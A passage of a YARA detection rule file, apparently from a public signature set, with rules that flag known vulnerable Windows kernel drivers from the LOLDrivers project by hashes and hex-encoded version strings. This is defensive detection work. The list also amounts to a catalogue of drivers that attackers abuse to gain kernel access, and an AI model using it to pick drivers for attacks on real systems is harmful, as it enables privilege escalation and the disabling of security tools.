		id = "9b4f6fc7-e597-5efd-9a85-6fd63fa9844b"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004300500055004900440020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00430050005500490044 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e003100360033003800350020006200750069006c0074002000620079003a002000570069006e00440044004b }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e00310036003300380035 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006300700075007a002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043005000550049004400200073006500720076006900630065 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006300700075007a002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400280043002900200032003000310035002000430050005500490044 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Windowsrserverddkprovider_Speedfansys_Windowsrserverddkdriver_22BE
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - speedfan.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "22be050955347661685a4343c51f11c7811674e030386d2264cd12ecbf544b7c"
		date = "2023-06-14"
		score = 40
		id = "c683be43-e577-5248-8a28-b13dbefd7f91"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0053007000650065006400460061006e00200044006500760069006300650020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000530065007200760065007200200032003000300033002000440044004b002000700072006f00760069006400650072 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e0032002e0033003700390030002e00300020006200750069006c0074002000620079003a002000570069006e00440044004b }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e0032002e0033003700390030002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0073007000650065006400660061006e002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000530065007200760065007200200032003000300033002000440044004b0020006400720069007600650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0073007000650065006400660061006e002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a90020004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Openlibsysorg_Openlibsyssys_Openlibsys_9131
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - OpenLibSys.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "91314768da140999e682d2a290d48b78bb25a35525ea12c1b1f9634d14602b2c"
		date = "2023-06-14"
		score = 40
		id = "94026bd4-e66c-551c-b054-b3b5191a5bb2"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004f00700065006e004c00690062005300790073 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004f00700065006e004c00690062005300790073002e006f00720067 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0032 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0032 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004f00700065006e004c00690062005300790073002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004f00700065006e004c00690062005300790073 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004f00700065006e004c00690062005300790073002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000370020004f00700065006e004c00690062005300790073002e006f00720067 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Tgsoftsas_Viragtsys_Viritagentsystem_E4EC
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - viragt64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "e4eca7db365929ff7c5c785e2eab04ef8ec67ea9edcf7392f2b74eccd9449148"
		date = "2023-06-14"
		score = 40
		id = "888a2b05-46c1-54b2-a996-14fb9fae5779"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0054004700200053006f0066007400200053002e0061002e0073002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c002000330038002c00200030002c00200030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002c002000330038002c00200030002c00200030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]007600690072006100670074002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005600690072004900540020004100670065006e0074002000530079007300740065006d }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]007600690072006100670074002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200054004700200053006f0066007400200053002e0061002e0073002e00200032003000300036002c002000320030003100310020002d0020007700770077002e007400670073006f00660074002e00690074 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Asustekcomputerinc_Atsziosys_Atsziodriver_FB6B
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ATSZIO.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "fb6b0d304433bf88cc7d57728683dbb4b9833459dc33528918ead09b3907ff22"
		date = "2023-06-14"
		score = 40
		id = "106afe18-1312-559d-87f5-319d67d36435"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004100540053005a0049004f0020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004100530055005300540065006b00200043006f006d0070007500740065007200200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0030002e0032002e0032002e0033 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0030002e0032002e0032002e0033 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004100540053005a0049004f002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004100540053005a0049004f0020004400720069007600650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004100540053005a0049004f002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310032 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Sysinternalswwwsysinternalscom_Procexpsys_Processexplorer_075D
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "075de997497262a9d105afeadaaefc6348b25ce0e0126505c24aa9396c251e85"
		hash = "cdfbe62ef515546f1728189260d0bdf77167063b6dbb77f1db6ed8b61145a2bc"
		date = "2023-06-14"
		score = 40
		id = "e58174ba-c931-549b-bf5d-bdc9aeb362cc"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310036002e00330032 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310036002e00330032 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d00610072006b002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000320030 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Micsystechnologycoltd_Msiosys_Msiodriverversion_X_AE42
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - MsIo64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "ae42afa9be9aa6f6a5ae09fa9c05cd2dfb7861dc72d4fd8e0130e5843756c471"
		hash = "d636c011b8b2896572f5de260eb997182cc6955449b044a739bd19cbe6fdabd2"
		hash = "0f035948848432bc243704041739e49b528f35c82a5be922d9e3b8a4c44398ff"
		date = "2023-06-14"
		score = 40
		id = "65c75c41-8edb-526b-b0e8-73eea5cb7502"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004d0049004300530059005300200049004f0020006400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d0049004300530059005300200054006500630068006e006f006c006f0067007900200043006f002e002c0020004c00540064 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003300200078003600340020006200750069006c0074002000620079003a002000570069006e00440044004b }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00330020007800360034 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004d00730049006f00360034002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d00730049006f003600340020004400720069007600650072002000560065007200730069006f006e00200031002e0033 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004d00730049006f00360034002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800630029002000320030003200310020004d00490043005300590053 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Vektortsecurityservice_Vboxdrv_Antidetectpublic_3724
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - VBoxDrv.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "3724b39e97936bb20ada51c6119aded04530ed86f6b8d6b45fbfb2f3b9a4114b"
		date = "2023-06-14"
		score = 40
		id = "1305b627-146c-5ec6-9e27-abac84f5a2f4"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072007400750061006c0042006f007800200053007500700070006f007200740020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00560065006b0074006f0072002000540031003300200053006500630075007200690074007900200053006500720076006900630065 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0034002e0032002e003100310039003200330030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0034002e0032002e003100310039003200330030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00560042006f0078004400720076 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041006e00740069006400650074006500630074002000320030003100390020005000750062006c00690063 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00560042006f0078004400720076002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300039002d00320030003100390020004f007200610063006c006500200043006f00720070006f0072006100740069006f006e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and all of them
}

rule PUA_VULN_Driver_Elaboratebytesag_Elbycdio_Cdrtools_2380
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ElbyCDIO.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "238046cfe126a1f8ab96d8b62f6aa5ec97bab830e2bae5b1b6ab2d31894c79e4"
		date = "2023-06-14"
		score = 40
		id = "24415567-6904-52b1-964d-1a0a4aefe08e"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f00770073002000780036003400200049002f004f0020006400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002c00200030002c00200033002c00200032 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003900200045006c00610062006f0072006100740065002000420079007400650073002000410047 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Msi_Ntiolibxsys_Ntiolibx_1E8B
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "1e8b0c1966e566a523d652e00f7727d8b0663f1dfdce3b9a09b9adfaef48d8ee"
		hash = "5d530e111400785d183057113d70623e17af32931668ab7c7fc826f0fd4f91a3"
		date = "2023-06-14"
		score = 40
		id = "208dd67e-2d2d-5104-a497-1311cea9e223"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c00690062005f005800360034 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062005f005800360034002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062005f005800360034 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062005f005800360034002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100340020004d00530049002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Sysinternalswwwsysinternalscom_Procexpsys_Processexplorer_6BFC
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "6bfc0f425de9f4e7480aa2d1f2e08892d0553ed0df1c31e9bf3d8d702f38fa2e"
		hash = "3c7e5b25a33a7805c999d318a9523fcae46695a89f55bbdb8bb9087360323dfc"
		hash = "46621554728bc55438c7c241137af401250f062edef6e7efecf1a6f0f6d0c1f7"
		date = "2023-06-14"
		score = 40
		id = "c5104fcb-7d6a-54dc-a79e-366f16ecd8a0"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310035002e00300030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310035002e00300030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d002e002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000310031 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Sysinternalswwwsysinternalscom_Procexpsys_Processexplorer_7A48
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "7a48f92a9c2d95a72e18055cac28c1e7e6cad5f47aa735cbea5c3b82813ccfaf"
		date = "2023-06-14"
		score = 40
		id = "7c796850-8413-53b0-bbbd-4991c1af6626"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310036002e00340031 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310036002e00340031 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d00610072006b002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000320031 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Zemanaltd_Zam_45F4
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - zam64.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "45f42c5d874369d6be270ea27a5511efcca512aeac7977f83a51b7c4dee6b5ef"
		date = "2023-06-14"
		score = 40
		id = "56dc2fa5-c19c-5a77-9590-e7a957ccb27f"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005a0041004d }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005a0065006d0061006e00610020004c00740064002e }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00320030002e003800360035 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005a0041004d }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]005a0065006d0061006e00610020004c00740064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule PUA_VULN_Driver_Intelcorporation_Iqvwsys_Intelriqvwsys_4D05
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iQVW64.SYS"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "4d0580c20c1ba74cf90d44c82d040f0039542eea96e4bbff3996e6760f457cee"
		hash = "77c5e95b872b1d815d6d3ed28b399ca39f3427eeb0143f49982120ff732285a9"
		hash = "cff9aa9046bdfd781d34f607d901a431a51bb7e5f48f4f681cc743b2cdedc98c"
		hash = "b51ddcf8309c80384986dda9b11bf7856b030e3e885b0856efdb9e84064917e5"
		hash = "ff115cefe624b6ca0b3878a86f6f8b352d1915b65fbbdc33ae15530a96ebdaa7"
		hash = "a566af57d88f37fa033e64b1d8abbd3ffdacaba260475fbbc8dab846a824eff5"
		hash = "57a389da784269bb2cc0a258500f6dfbf4f6269276e1192619ce439ec77f4572"
		hash = "d74755311d127d0eb7454e56babc2db8dbaa814bc4ba8e2a7754d3e0224778e1"
		date = "2023-06-14"
		score = 40
		id = "e52c22aa-347f-5618-93b8-b4dab3f04b35"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049006e00740065006c0028005200290020004e006500740077006f0072006b0020004100640061007000740065007200200044006900610067006e006f00730074006900630020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e00740065006c00200043006f00720070006f0072006100740069006f006e0020 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300033002e0030002e00340020006200750069006c0074002000620079003a002000570069006e00440044004b }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300033002e0030002e0034 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006900510056005700360034002e005300590053 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049006e00740065006c0028005200290020006900510056005700360034002e005300590053 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006900510056005700360034002e005300590053 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300032002d003200300030003600200049006e00740065006c00200043006f00720070006f0072006100740069006f006e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_86A1
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "86a1b1bacc0c51332c9979e6aad84b5fba335df6b9a096ccb7681ab0779a8882"
		date = "2023-06-14"
		score = 40
		id = "57b41ebc-6c75-5ba3-b2fc-0bb50e92207b"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0038002e0034003000350037002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0038002e0034003000350037002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003800200041005600410053005400200053006f006600740077006100720065 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Aegis_61BE
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "61befeef14783eb0fed679fca179d2f5c33eb2dcbd40980669ca2ebeb3bf11cf"
		date = "2023-06-14"
		score = 40
		id = "8242879f-ce39-5f05-b43e-ec2c6b185e82"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0035002e0030002e0031003100300036 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0035 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410045004700490053 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300035002d00320030003000380020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule PUA_VULN_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_BE8D
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "be8dd2d39a527649e34dc77ef8bc07193a4234b38597b8f51e519dadc5479ec2"
		date = "2023-06-14"
		score = 40
		id = "e655289a-61d1-5908-b495-ce2c00caae3c"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0034002e0033003800390031002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0034002e0033003800390031002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003800200041005600410053005400200053006f006600740077006100720065 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them
}

rule PUA_VULN_Driver_Msi_Ntiolibsys_Ntiolib_3070
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "30706f110725199e338e9cc1c940d9a644d19a14f0eb8847712cba4cacda67ab"
		date = "2023-06-14"
		score = 40
		id = "38ae805f-4be8-526f-b3b3-d644b05c2b25"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004d0053004900200043006f006d00430065006e00530065007200760069006300650020004400720069007600650072 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100330020004d00530049002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule PUA_VULN_Driver_Msi_Ntiolibsys_Ntiolib_CC58
{
	meta:
		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
		author = "Florian Roth"
		reference = "https://github.com/magicsword-io/LOLDrivers"
		hash = "cc586254e9e89e88334adee44e332166119307e79c2f18f6c2ab90ce8ba7fc9b"
		date = "2023-06-14"
		score = 40
		id = "cfb96174-106f-5ad0-875b-1be75f70ce51"

	strings:
		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c00690062 }
		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 }
		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 }
		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 }
		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 }
		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062005f005800360034002e007300790073 }
		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100350020004d00530049002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }

	condition:
